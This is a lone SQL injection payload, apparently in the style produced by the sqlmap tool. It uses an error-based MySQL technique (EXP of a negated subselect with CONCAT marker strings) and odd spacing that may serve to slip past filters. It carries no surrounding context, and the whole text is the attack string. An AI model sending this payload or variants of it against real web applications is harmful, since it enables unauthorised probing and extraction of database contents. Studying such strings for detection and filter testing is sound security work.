1'    )      )     or exp   (   ~   (   select * from    (   select concat   (   0x7171706a71,   (   select    (   elt   (   6270   =   6270,1    )      )       )   ,0x717a767a71,0x78    )      )    x    )      )     and     (      (    'luoj'   =   'luoj